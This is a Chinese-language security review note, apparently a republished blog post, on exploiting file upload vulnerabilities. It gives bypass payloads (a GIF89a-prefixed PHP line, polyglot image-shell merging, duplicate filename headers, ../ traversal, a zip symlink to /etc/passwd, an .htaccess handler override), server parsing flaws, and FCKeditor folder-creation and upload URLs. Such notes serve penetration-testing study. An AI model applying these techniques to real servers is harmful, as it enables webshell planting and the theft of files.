前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >复习 - 文件上传

复习 - 文件上传

作者头像
Naraku
发布2021-07-28 10:58:00
1.2K0
发布2021-07-28 10:58:00
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

上传流程

上传流程以及对应的检测点

  1. 前端选择文件,点击上传
    • JavaScript检测
    • Flash AS检测
  2. 浏览器形成POST MultPart报文发送到服务器
    • WAF拦截
    • IPS拦截
  3. 服务器中间件接收报文,解析后交给相关后端代码处理
    • 扩展名检测
    • 文件格式检测
    • MIME Type检测
    • 内容检测(同WAF/IDS)
  4. 后端代码将文件内容写入临时文件中(PHP特有)
    • 文件重命名
    • 杀毒软件查杀
  5. 写入到文件后,文件名为原有文件名或以一定规则生成的文件名
    • 无执行权限
    • 未知文件路径

当文件上传点未对上传的文件进行严格的验证和过滤时,就容易造成任意文件上传,包括上传动态文件,如asp/php/jsp等。如果上传的目录没有限制执行权限,导致上传的动态文件可以正常执行并可以访问,即存在上传漏洞的必要条件是:

  • 存在上传点
  • 可以上传动态文件
  • 可以访问到上传的动态文件,即知道文件路径
  • 上传目录有执行权限,并且上传的文件可执行

检测绕过

客户端检测

  • 直接使用Burp等抓包软件进行修改重发,前端限制相当于没有

服务端检测

MIME Type

通常是白名单限制,常见白名单如下:

扩展名

MIME Type

jpg

image/jpeg

png

image/png

txt

text/plain

zip

application/zip

doc

application/msword

文件内容

简单文件头检测:文件头的起始部分一般开头标记文件类型,如GIF的文件头位GIF89aGIF87a

代码语言:javascript
复制
GIF89a<?php phpinfo(); ?>

完整文件结构检测:通过调用图像函数进行检测文件是否为图像,需要文件内容保持相对完整,所以无法通过添加头部进行绕过

代码语言:javascript
复制
# 将普通图片1.jpg 和 木马文件shell.php ,合并成木马图片2.jpg
$ copy /b 1,jpg+shell.php 2.jpg  

图片重绘

Web应用调用GD图形库对上传的文件进行了文件转换,即时图片与文件合并,也会将尾部转换掉,无法通过前面的方法上传WebShell

  • 思路:通过对比经过转换的图片,找出转换前后未变化的部分,将该部分替换为WebShell
代码语言:javascript
复制
11111111111111[xxxxxxxxxxx]11111111111111  # 转换前
22222222222222[xxxxxxxxxxx]22222222222222  # 转换后
    
# 此时将[xxxxxxxxxxx]部分替换为Webshell
11111111111111[<?php phpinfo(); ?>]11111111111111
代码语言:javascript
复制
php codeinj.php demo.gif "<?php phpinfo();?>"

Tricks

  • 文件参数多filename属性:文件上传过程中,如果WAF拦截一些扩展名,可以通过Burp抓包,添加多个filename属性
代码语言:javascript
复制
Content-Disposition: form-data; name="upfile"; filename="phpinfo.png"; filename="phpinfo.php"; 
  • 目录可控时,可以尝试使用目录穿越../
代码语言:javascript
复制
Content-Disposition: form-data; name="UPLOAD_DIR";

file/../../
# 如果过滤连续的 ../,可以在中间插入./进行绕过
file/.././../

在线解压缩搭配文件软链接

代码语言:javascript
复制
$ ln -s /etc/passwd a

# 可通过ls -l检查
$ ls -l
... a -> /etc/passwd
代码语言:javascript
复制
$ zip --symlinks 1.zip a

常见木马

  • 一句话木马,即整个shell代码量只有一行,一般是系统执行函数
  • 小马,体积小,容易隐藏,隐蔽性强。不过功能也少,一般只有上传等功能。
  • 大马,代码量和功能比小马多,一般会进行二次编码加密,防止被安全防火墙/入侵检测系统检测。大马体积比较大,隐蔽性不好,而大多代码如不加密很容易被杀毒软件检测出来。但是功能多,一般包括提权命令、磁盘管理、数据库连接等。

基本木马

简单变形

图片马

搜索某目录下文件是否含有木马

解析漏洞

木马文件就算被成功上传,如果没有被Web容器以脚本文件解析执行,也不会对服务器造成威胁。所以往往在利用文件上传漏洞时,会与Web容器的解析漏洞配合使用,以保证上传的恶意代码被成功执行。

Apache

后缀解析漏洞
  • Apache是从右到左开始判断解析文件后缀,如果为不可识别解析,则继续往左判断。如shell.php.abc.rar,其中.abc.rar这两种后缀都不可识别解析,继续往左就是shell.php,则此时该文件就被Apache解析成PHP文件

htaccess文件解析漏洞

  • 如果.htaccess可被执行且可被上传,那么可以在其中写入以下代码。然后上传shell.jpg图片马,此时该木马将被解析为php
代码语言:javascript
复制
<FilesMatch "shell.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

IIS

IIS6.0解析漏洞

影响版本:IIS 5.x ~ 6.0

  • 目录解析漏洞:在网站下建立xxx.asp文件夹,该文件夹内任何后缀的文件都将被IIS当做asp脚本文件来解析并执行
  • 文件解析漏洞:文件名分号后面不被解析,如shell.asp;.jpg,会被看成shell.asp。可通过抓包改包绕过上传的后缀白名单
  • 其它:默认可执行文件除了.asp,还有.asa/.cer/.cdx
IIS7

影响版本:IIS7.0 / IIS7.5 / Nginx<8.03

畸形解析漏洞:在默认Fast-CGI开启的情况下,上传一个1.jpg文件,内容如下。然后去访问1.jpg/.php,那么就会在该目录下生成一个shell.php文件

Nginx

空字节代码执行漏洞

Nginx<=0.7.65 / Nginx<=0.8.37

  • 在图片1.jpg中嵌入PHP代码,然后通过访问1.jpg%00.php来执行其中代码
文件名逻辑漏洞(CVE-2013-4547)

影响版本:Nginx 0.8.41~1.4.3 / 1.5.0~1.5.7

  • 上传一个以空格%20结尾的文件,如abc.jpg ,当访问abc.jpg%20%00.php时,其中%20%00可能需要使用Burp抓包进行UrlDecode,此时会将前面的图片文件当做PHP执行。

PHP FastCGI取值错误解析漏洞

前提条件:网站开启了cgi.fix_pathinfo并且未设置security.limit_extensions

  • 开启了cgi.fix_pathinfo后,如果所执行文件不存在,则会向前递归解析,继续查找上一级文件是否存在
    • 如:index.php/abc/xxx
  • 未设置security.limit_extensions,该选项用于限制可执行的文件类型
    • 如:abc.jpg/.php
  • 假设网站满足以上条件,当访问http://www.xxx.com/1.jpg/xxx.php时,页面返回的是1.jpg按php解析的结果。由于xxx.php是不存在的文件,PHP则会向前递归解析,造成解析漏洞。

上传漏洞

filepath漏洞

  • 可用于突破自动命名规则
    • 改变文件上传路径:如filepath默认路径为/upload/,将其修改为/upload/x.asp/,配合IIS6目录解析漏洞使用,需要一定的权限,否则无法成功创建目录。
    • 直接改变文件名称:将默认路径/upload/修改为/upload/x.asp;.abc.jpg
  • %00截断
    • 上传文件时文件名修改为x.php%00jpg,然后将%00右键进行URL decode
    • 上传文件时将文件名修改为x.php jpg,然后通过抓包在Hex栏处找到文件名中的空格,编码为20,将编码修改为00

FCKEditor编辑器漏洞

查看编辑器版本

代码语言:javascript
复制
http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.html

Version=2.2Apache+Linux.

Version<=2.42:在处理PHP上传的地方未对Media类型进行上传文件类型的控制,导致用户上传任意文件。

测试上传点

代码语言:javascript
复制
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php

突破限制

上传限制

上传限制的突破方式很多,主要还是抓包改扩展名,%00截断,添加文件头等

文件名限制

文件上传时可能会将文件名中的.修改成_

  • 空格绕过:将文件名修改为1.php+空格绕过,不过此方法只支持Windows系统,而*nix不支持
  • 二次上传绕过:将文件名修改为1.asp;.jpg,此时文件名可能会自动变成1_asp;.jpg,再次上传文件,此时第二个上传的文件即有可能会被重命名为1.asp(1);.jpg
IIS6.0突破文件夹限制
  • 访问http://127.0.0.1/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp。此时会在网站目录下递归创建xx.asp/x.asp目录,但是此处内层目录x.asp会被重命名为x_asp,即创建了/xx.asp/x_asp,可以将文件上传到xx.asp目录,配合IIS6.0目录解析漏洞进行利用。
  • 另外也可以在上传时通过Burp抓包,将CurrentFolder=%25修改为CurrentFolder=/xx.asp。原理同上,其中%2F即当前目录/的URL编码
代码语言:javascript
复制
Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
文件解析限制

通过Fckeditor编辑器在文件上传页面中,创建1.asp文件夹,然后再到该文件夹下上传一个图片的webshell文件,获取其shell。

列目录

fckeditorFCKeditor/editor/fckeditor.html

根据XML返回信息查看网站目录

获取当前文件夹

浏览E盘文件

WAF绕过

检验扩展名:修改后缀,如、等绕过

检验文件头:伪造文件头,在一句话木马前面加入GIF89a,然后将木马保存为图片格式,如.jpg/.png/.gif

检验文件类型:修改

文件包含过WAF:在不含恶意代码的脚本文件中,通过文件包含引入含有恶意代码但后缀为图片格式的文件。因为含有恶意代码的文件后缀为图片,WAF不会检查其中内容;而不含恶意代码的脚本文件中,因为不含恶意代码所以WAF不会检测出异常,从而达到绕过WAF。


本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020 年 04 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 上传流程
  • 检测绕过
    • 客户端检测
      • 服务端检测
        • MIME Type
        • 文件内容
      • 图片重绘
      • Tricks
      • 常见木马
      • 解析漏洞
        • Apache
          • 后缀解析漏洞
        • htaccess文件解析漏洞
          • IIS
            • IIS6.0解析漏洞
            • IIS7
          • Nginx
            • 空字节代码执行漏洞
            • 文件名逻辑漏洞(CVE-2013-4547)
          • PHP FastCGI取值错误解析漏洞
          • 上传漏洞
            • filepath漏洞
            • FCKEditor编辑器漏洞
              • 查看编辑器版本
                • 测试上传点
                  • 突破限制
                    • 上传限制
                    • 文件名限制
                    • IIS6.0突破文件夹限制
                    • 文件解析限制
                  • 列目录
                  • WAF绕过
                  相关产品与服务
                  容器服务
                  腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档